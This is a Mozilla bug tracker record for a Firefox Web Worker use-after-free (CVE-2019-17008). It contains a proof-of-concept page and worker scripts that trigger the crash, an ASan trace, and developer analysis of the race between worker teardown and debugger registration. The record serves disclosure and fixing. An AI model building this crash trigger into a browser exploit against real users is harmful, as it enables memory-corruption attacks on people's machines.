Closed Bug 1546331 (CVE-2019-17008) Opened 5 years ago Closed 5 years ago

Web Workers - Use After Free in RegisterDebuggerMainThread()

Categories

(Core :: DOM: Workers, defect, P1)

68 Branch
defect

Tracking

()

RESOLVED FIXED
mozilla72
Tracking Status
firefox-esr60 --- wontfix
firefox-esr68 71+ fixed
firefox67 --- wontfix
firefox68 --- wontfix
firefox69 --- wontfix
firefox70 + wontfix
firefox71 + fixed
firefox72 + fixed

People

(Reporter: loobenyang, Assigned: edenchuang)

Details

(Keywords: csectype-uaf, reporter-external, sec-high, Whiteboard: [adv-main71+][adv-esr68.3+])

Attachments

(3 files, 2 obsolete files)

Attached file UAF_RegisterDebuggerMainThread_PoC.js (obsolete) —

Prove of Concept test case (full server code in attached file UAF_RegisterDebuggerMainThread_PoC.js):

Main Page code:
    <script type="text/javascript">
    gc = function() 
    {
      for (var i = 0; i < 0x20000; ++i)
        var s = new String('AAAA');
    };
    worker0 = new Worker("worker0.js");
    worker0.onerror=function(){ gc();};
    worker1 = new Worker("worker1.js");
    setTimeout(function(){location.reload()},200);
    </script>

Worker 0:
	var embedworker1 = new Worker("embedworker1.js"); yes = no;
    
Worker 1:
    self.onerror = function () { 
    embedworker0.terminate();
    };
    var embedworker0 = new Worker("embedworker0.js"); yes = no;

Steps to reproduce:
1. Run server side script UAF_RegisterDebuggerMainThread_PoC.js with Node.js (node UAF_RegisterDebuggerMainThread_PoC.js).
2. Enter http://localhost:12345 in Firefox ASAN build.
3. ASAN reports a Use After Free in RegisterDebuggerMainThread():

    ==3247==ERROR: AddressSanitizer: heap-use-after-free on address 0x61b00017b210 at pc 0x7fe791ea90ce bp 0x7ffe59b72f10 sp 0x7ffe59b72f08
    WRITE of size 8 at 0x61b00017b210 thread T0 (Web Content)
        #0 0x7fe791ea90cd in SetDebugger /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:188:15
        #1 0x7fe791ea90cd in mozilla::dom::WorkerDebuggerManager::RegisterDebuggerMainThread(mozilla::dom::WorkerPrivate*, bool) 

Firefox version: 68.0a1 (2019-04-22) (64-bit)
OS: Ubuntu 16.04 LTS

Stack trace:

=================================================================
==3247==ERROR: AddressSanitizer: heap-use-after-free on address 0x61b00017b210 at pc 0x7fe791ea90ce bp 0x7ffe59b72f10 sp 0x7ffe59b72f08
WRITE of size 8 at 0x61b00017b210 thread T0 (Web Content)
    #0 0x7fe791ea90cd in SetDebugger /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:188:15
    #1 0x7fe791ea90cd in mozilla::dom::WorkerDebuggerManager::RegisterDebuggerMainThread(mozilla::dom::WorkerPrivate*, bool) /builds/worker/workspace/build/src/dom/workers/WorkerDebuggerManager.cpp:277
    #2 0x7fe791ed28de in mozilla::dom::(anonymous namespace)::RegisterDebuggerMainThreadRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerDebuggerManager.cpp:41:14
    #3 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #4 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #5 0x7fe78b2f7caa in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #6 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #7 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #8 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #9 0x7fe7926bf749 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #10 0x7fe7962dd4df in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
    #11 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #12 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #13 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #14 0x7fe7962dce86 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34
    #15 0x5604aa4e53a7 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #16 0x5604aa4e53a7 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263
    #17 0x7fe7a9c4282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #18 0x5604aa406af8 in _start (/home/thecoder/FirefoxBuilds/firefox/firefox+0x2aaf8)

0x61b00017b210 is located 912 bytes inside of 1440-byte region [0x61b00017ae80,0x61b00017b420)
freed by thread T22 (DOM Worker) here:
    #0 0x5604aa4b2182 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
    #1 0x7fe791f1e110 in operator delete /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:151:10
    #2 0x7fe791f1e110 in Release /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:102
    #3 0x7fe791f1e110 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:46
    #4 0x7fe791f1e110 in Release /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:363
    #5 0x7fe791f1e110 in assign_assuming_AddRef /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:65
    #6 0x7fe791f1e110 in operator= /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:156
    #7 0x7fe791f1e110 in ClearSelfAndParentEventTargetRef /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:125
    #8 0x7fe791f1e110 in mozilla::dom::(anonymous namespace)::WorkerFinishedRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:238
    #9 0x7fe791f09842 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
    #10 0x7fe791eef44c in ProcessAllControlRunnablesLocked /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:3276:9
    #11 0x7fe791eef44c in mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2646
    #12 0x7fe791eb82cb in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2305:40
    #13 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #14 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #15 0x7fe78b2f8eb0 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
    #16 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #17 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #18 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #19 0x7fe78a2ac21a in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11
    #20 0x7fe7ab05905d in _pt_root /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:201:5
    #21 0x7fe7aaca06b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)

previously allocated by thread T22 (DOM Worker) here:
    #0 0x5604aa4b2503 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
    #1 0x5604aa4e6f9d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
    #2 0x7fe791ee9c29 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
    #3 0x7fe791ee9c29 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2235
    #4 0x7fe791e9ba17 in mozilla::dom::Worker::Constructor(mozilla::dom::GlobalObject const&, nsTSubstring<char16_t> const&, mozilla::dom::WorkerOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/Worker.cpp:30:41
    #5 0x7fe78f4ae630 in mozilla::dom::Worker_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WorkerBinding.cpp:1112:52
    #6 0x7fe796569595 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
    #7 0x7fe796569595 in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
    #8 0x7fe796569595 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
    #9 0x7fe796546916 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3070:16
    #10 0x7fe796530528 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
    #11 0x7fe79656bb7c in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:781:13
    #12 0x7fe79656c329 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:814:10
    #13 0x7fe7967ed334 in bool Evaluate<char16_t>(JSContext*, js::ScopeKind, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceText<char16_t>&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:539:10
    #14 0x7fe7967ec6aa in JS::Evaluate(JSContext*, JS::ReadOnlyCompileOptions const&, JS::SourceText<char16_t>&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:557:10
    #15 0x7fe791ec98d6 in mozilla::dom::(anonymous namespace)::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:1989:10
    #16 0x7fe791f09842 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
    #17 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #18 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #19 0x7fe791ef859e in mozilla::dom::WorkerPrivate::RunCurrentSyncLoop() /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:3646:7
    #20 0x7fe791e9a7b5 in Run /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:1173:27
    #21 0x7fe791e9a7b5 in mozilla::dom::(anonymous namespace)::LoadAllScripts(mozilla::dom::WorkerPrivate*, nsTArray<mozilla::dom::(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:2149
    #22 0x7fe791e99bd2 in mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/ScriptLoader.cpp:2259:3
    #23 0x7fe791f1ca85 in mozilla::dom::(anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:340:5
    #24 0x7fe791f09842 in mozilla::dom::WorkerRunnable::Run() /builds/worker/workspace/build/src/dom/workers/WorkerRunnable.cpp:363:12
    #25 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #26 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #27 0x7fe791eefd3a in mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2748:7
    #28 0x7fe791eb82cb in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:2305:40
    #29 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #30 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #31 0x7fe78b2f8eb0 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:333:5
    #32 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #33 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #34 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #35 0x7fe78a2ac21a in nsThread::ThreadFunc(void*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:454:11

Thread T22 (DOM Worker) created by T0 (Web Content) here:
    #0 0x5604aa49aadd in pthread_create /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:210:3
    #1 0x7fe7ab04b158 in _PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:433:14
    #2 0x7fe7ab034d3e in PR_CreateThread /builds/worker/workspace/build/src/nsprpub/pr/src/pthreads/ptthread.c:518:12
    #3 0x7fe78a2ae529 in nsThread::Init(nsTSubstring<char> const&) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:661:8
    #4 0x7fe791f18c48 in mozilla::dom::WorkerThread::Create(mozilla::dom::WorkerThreadFriendKey const&) /builds/worker/workspace/build/src/dom/workers/WorkerThread.cpp:93:7
    #5 0x7fe791e8d1d9 in mozilla::dom::workerinternals::RuntimeService::ScheduleWorker(mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:1433:14
    #6 0x7fe791e8b7f5 in mozilla::dom::workerinternals::RuntimeService::RegisterWorker(mozilla::dom::WorkerPrivate*) /builds/worker/workspace/build/src/dom/workers/RuntimeService.cpp:1298:19
    #7 0x7fe791ee9d49 in mozilla::dom::WorkerPrivate::Constructor(JSContext*, nsTSubstring<char16_t> const&, bool, mozilla::dom::WorkerType, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, mozilla::dom::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.cpp:2250:24
    #8 0x7fe791e9ba17 in mozilla::dom::Worker::Constructor(mozilla::dom::GlobalObject const&, nsTSubstring<char16_t> const&, mozilla::dom::WorkerOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/workers/Worker.cpp:30:41
    #9 0x7fe78f4ae630 in mozilla::dom::Worker_Binding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WorkerBinding.cpp:1112:52
    #10 0x7fe796569595 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
    #11 0x7fe796569595 in CallJSNativeConstructor /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:458
    #12 0x7fe796569595 in InternalConstruct(JSContext*, js::AnyConstructArgs const&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:651
    #13 0x7fe796546916 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3070:16
    #14 0x7fe796530528 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
    #15 0x7fe79656bb7c in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:781:13
    #16 0x7fe79656c329 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:814:10
    #17 0x7fe7967ea5ca in ExecuteScript(JSContext*, JS::Handle<JS::StackGCVector<JSObject*, js::TempAllocPolicy> >, JS::Handle<JSScript*>, JS::Value*) /builds/worker/workspace/build/src/js/src/vm/CompilationAndEvaluation.cpp:455:10
    #18 0x7fe78dab2254 in nsJSUtils::ExecutionContext::ExecScript() /builds/worker/workspace/build/src/dom/base/nsJSUtils.cpp:386:8
    #19 0x7fe792360e33 in mozilla::dom::ExecuteCompiledScript(JSContext*, mozilla::dom::ScriptLoadRequest*, nsJSUtils::ExecutionContext&) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2495:16
    #20 0x7fe79235def1 in mozilla::dom::ScriptLoader::EvaluateScript(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2715:20
    #21 0x7fe79235688c in mozilla::dom::ScriptLoader::ProcessRequest(mozilla::dom::ScriptLoadRequest*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:2222:10
    #22 0x7fe792353262 in mozilla::dom::ScriptLoader::ProcessInlineScript(nsIScriptElement*, mozilla::dom::ScriptKind) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1803:10
    #23 0x7fe79232d67e in mozilla::dom::ScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/worker/workspace/build/src/dom/script/ScriptLoader.cpp:1526:10
    #24 0x7fe79232c94e in mozilla::dom::ScriptElement::MaybeProcessScript() /builds/worker/workspace/build/src/dom/script/ScriptElement.cpp:118:18
    #25 0x7fe78c6218fa in AttemptToExecute /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIScriptElement.h:224:18
    #26 0x7fe78c6218fa in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:727
    #27 0x7fe78c61b5a3 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:530:7
    #28 0x7fe78c627720 in nsHtml5ExecutorFlusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5StreamParser.cpp:133:18
    #29 0x7fe78a2811f1 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
    #30 0x7fe78a2b22c1 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1180:14
    #31 0x7fe78a2b83d8 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:486:10
    #32 0x7fe78b2f7caa in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
    #33 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #34 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #35 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #36 0x7fe7926bf749 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
    #37 0x7fe7962dd4df in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:919:20
    #38 0x7fe78b227fd2 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
    #39 0x7fe78b227fd2 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
    #40 0x7fe78b227fd2 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
    #41 0x7fe7962dce86 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:757:34
    #42 0x5604aa4e53a7 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
    #43 0x5604aa4e53a7 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:263
    #44 0x7fe7a9c4282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/workers/WorkerPrivate.h:188:15 in SetDebugger
Shadow bytes around the buggy address:
  0x0c36800275f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027600: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027610: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c3680027640: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c3680027680: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c3680027690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3247==ABORTING
Flags: sec-bounty?
Group: core-security → dom-core-security
Flags: needinfo?(ytausky)
Flags: needinfo?(bugmail)

Corrected a single quote error in the POC:
mainPageCode += ' var s = new String('AAAA');\n';

=>
mainPageCode += ' var s = new String("AAAA");\n';

Not sure how I made this mistake. Sorry about that.

Attachment #9060048 - Attachment is obsolete: true

Is there anyone looking at this bug?
It's been opened for over 3 weeks.

We're kinda swamped right now, it can take some time unfortunately...

Flags: needinfo?(ytausky)
Priority: -- → P1

What is the plan for this bug?

(In reply to Looben Yang from comment #4)

What is the plan for this bug?

We just landed a stack of patches in bug 1559919 that we believe should improve worker invariants in general. We'll investigate if this is fixed.

bug 1559919 has been closed for over two weeks. Do you have a chance to verify if this bug is fixed?

(In reply to Looben Yang from comment #6)

bug 1559919 has been closed for over two weeks. Do you have a chance to verify if this bug is fixed?

Unfortunately bug 1559919 didn't help too much. We need further work here.

(In reply to Hsin-Yi Tsai [:hsinyi] from comment #7)

(In reply to Looben Yang from comment #6)

bug 1559919 has been closed for over two weeks. Do you have a chance to verify if this bug is fixed?

Unfortunately bug 1559919 didn't help too much. We need further work here.

This bug missed the 90 day deadline advocated by Google. It never happens before with Mozilla.

See bug 1545345 comment 13: this may be a manifestation of the same issue.

I tried running it with the current nightly and I don't get an ASan message there. Does it need to run for a while before it happens, or does it happen pretty fast?

Assignee: nobody → htsai
Assignee: htsai → ytausky

From what I can see in the source related to the stack trace, we have a WorkerPrivate instance, that is freed through reference counting by:

NS_INLINE_DECL_REFCOUNTING(WorkerPrivate) [1]

and then accessed through a raw pointer in [3]

class UnregisterDebuggerMainThreadRunnable final : public mozilla::Runnable {
  WorkerPrivate* mWorkerPrivate;

As the ref-counting on WorkerPrivate has been introduced quite recently in [2], I assume, that not all pointers to such objects have been uplifted to be RefPtr and some of them may therefore outlive the instance. We should therefore check all WorkerPrivate* variables in our classes.

[1] https://searchfox.org/mozilla-central/source/dom/workers/WorkerPrivate.h#109
[2] introduced by https://bugzilla.mozilla.org/show_bug.cgi?id=1435263 part 17
[3] https://searchfox.org/mozilla-central/source/dom/workers/WorkerDebuggerManager.cpp#46

Assignee: ytausky → bugmail

A quick search [1] in searchfox gives quite some occurences (no guarantee to be complete):

	dom/file/FileReaderSync.cpp
	dom/indexedDB/ActorsChild.cpp
	dom/notification/Notification.h
	dom/performance/PerformanceWorker.h
	dom/serviceworkers/ServiceWorkerEvents.cpp
	dom/serviceworkers/ServiceWorkerPrivate.cpp
	dom/workers/RuntimeService.cpp
	dom/workers/ScriptLoader.cpp
	dom/workers/WorkerDebugger.h
	dom/workers/WorkerDebuggerManager.cpp
	dom/workers/WorkerEventTarget.h
	dom/workers/WorkerPrivate.cpp
	dom/workers/WorkerPrivate.h
	dom/workers/WorkerRef.h
	dom/workers/WorkerRunnable.h
	dom/workers/WorkerScope.h
	dom/workers/WorkerThread.cpp
	dom/workers/WorkerThread.h
	dom/xhr/XMLHttpRequestWorker.cpp
	dom/xhr/XMLHttpRequestWorker.h

So there might be many side-effects of this in different occasions.

[1] https://searchfox.org/mozilla-central/search?q=WorkerPrivate*+m&path=

Assignee: bugmail → perry
See Also: → 1539508

Is fixing this dependent on fixing bug 1539508? If so then please make that bug a higher priority. I'll follow up in email.

Flags: needinfo?(perry)
Flags: needinfo?(jstutte)

@Liz: Not necessarily. I would rather recommend to fix the evident things (use of raw pointers) here as part of this bug and to leave bug 1539508 at P2, given that it is very unspecific and will probably lead to a meta-bug with several tasks.

@Perry: Agree?

Flags: needinfo?(jstutte)

(In reply to Jens Stutte [:jstutte] from comment #14)

@Perry: Agree?

I agree, bug 1539508 seems to have a much broader scope (but may indeed be addressing the underlying cause of this one).

Flags: needinfo?(perry)

I take this bug from Perry.
I will start this bug and related bugs in the later of this week.

Assignee: perry → echuang
Status: NEW → ASSIGNED
See Also: → 1557732
Flags: needinfo?(bugmail) → needinfo?(loobenyang)
See Also: 1539508, CVE-2020-12387, 1557732

Hi Eden, what can I help?

Flags: needinfo?(loobenyang)

Hi Looben, sorry to the wrong mark ni to you.

I tested with the Firefox nightly, but could not reproduce the issue. I think it might be fixed by patches between 68 to 70.
However, it could be reproduced with Firefox 68 esr.

What the testcase do
main page:

  1. Create a gc function
  2. Create a dedicated worker worker 0 (worker0.js) and set worker.onerror to call gc function().
  3. Create a dedicated worker worker 1 (worker1.js)
  4. set a timeout 200 ms, then to reload page.

worker0.js:

  1. Create a nested dedicated worker embedworker1 (embedworker1.js)

worker1.js:

  1. Set self.onerror to call embedworker0.terminate()
  2. Create a nested dedicated worker embedworker0 (embedworker0.js)

When creating a worker, WorkerPrivate constructor also calls worker->EnableDebugger() and registers a debugger in WorkerDebuggerManager after the worker is scheduled. If the worker is not a top-level worker, RegisterDebuggerMainThreadRunnable is created and dispatched to the main thread. If there is no debugger listener in WorkerDebuggerManager, continuing the worker constructing, otherwise waiting for the debugger registration finishes.
When the reload is called, workers go into the finishing process. WorkerFinishedRunnable will be created and delete the corresponding WorkerPrivate.
This is an intermittent issue. To hit the UAF, the RegisterDebuggerMainThreadRunnable must be executed after WorkerFinishedRunnable execution.

Jens's suggestion in comment 11 does not work. Change raw pointer to RefPtr would change the lifecycle of WorkerPrivate, and hit assertion expects the WorkerPrivate should be nullptr.

Thanks for sorting this out. So the root cause is an unexpected order of calling (WorkerFinishedRunnable before RegisterDebuggerMainThreadRunnable) on the same object. Fix this order will probably heal this and make things work.

But I still assume, that someday we should take a closer look on bug 1539508 in order to increase overall robustness. All those raw pointers on a ref-counted object look at least suspicious. And from a security point of view, an unexpected order of calls should never be able to break things up to a UAF. Especially if the originating call is potentially in a different process, we should never rely on having these calls in a specific order but fail gently, if something unexpected happens (such that at worst the calling process breaks, not ours).

